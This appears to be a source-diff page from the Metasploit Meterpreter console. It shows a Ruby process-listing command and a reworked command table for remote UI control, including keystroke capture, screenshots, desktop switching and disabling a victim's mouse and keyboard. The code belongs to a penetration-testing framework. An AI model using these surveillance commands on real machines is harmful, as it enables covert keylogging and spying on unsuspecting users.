def cmd_ps(*args)
processes = client.sys.process.get_processes
tbl = Rex::Ui::Text::Table.new(
'Header' => "Process list",
'Indent' => 1,
'Columns' =>
[
"PID",
"Name",
"Arch",
"Session",
"User",
"Path"
])
processes.each { |ent|
session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s
arch = ent['arch']
# for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64'
if( arch == ARCH_X86_64 )
arch = "x64"
end
tbl << [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ]
}
if (processes.length == 0)
print_line("No running processes were found.")
else
print("\n" + tbl.to_s + "\n")
print_line
print_line(processes.to_table("Indent" => 1).to_s)
print_line
end
return true
end

View File

@ -20,20 +20,50 @@ class Console::CommandDispatcher::Stdapi::Ui
# List of supported commands.
#
def commands
{
"idletime" => "Returns the number of seconds the remote user has been idle",
"uictl" => "Control some of the user interface components",
all = {
"enumdesktops" => "List all accessible desktops and window stations",
"getdesktop" => "Get the current meterpreter desktop",
"setdesktop" => "Change the meterpreters current desktop",
"idletime" => "Returns the number of seconds the remote user has been idle",
"keyscan_dump" => "Dump the keystroke buffer",
"keyscan_start" => "Start capturing keystrokes",
"keyscan_stop" => "Stop capturing keystrokes",
"keyscan_dump" => "Dump the keystroke buffer",
"screenshot" => "Grab a screenshot of the interactive desktop",
"setdesktop" => "Change the meterpreters current desktop",
"uictl" => "Control some of the user interface components",
# not working yet
# "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
}
reqs = {
"enumdesktops" => [ "stdapi_ui_desktop_enum" ],
"getdesktop" => [ "stdapi_ui_desktop_get" ],
"idletime" => [ "stdapi_ui_get_idle_time" ],
"keyscan_dump" => [ "stdapi_ui_get_keys" ],
"keyscan_start" => [ "stdapi_ui_start_keyscan" ],
"keyscan_stop" => [ "stdapi_ui_stop_keyscan" ],
"screenshot" => [ "stdapi_ui_desktop_screenshot" ],
"setdesktop" => [ "stdapi_ui_desktop_set" ],
"uictl" => [
"stdapi_ui_enable_mouse",
"stdapi_ui_disable_mouse",
"stdapi_ui_enable_keyboard",
"stdapi_ui_disable_keyboard",
],
}
all.delete_if do |cmd, desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
all
end
#

Some files were not shown because too many files have changed in this diff Show More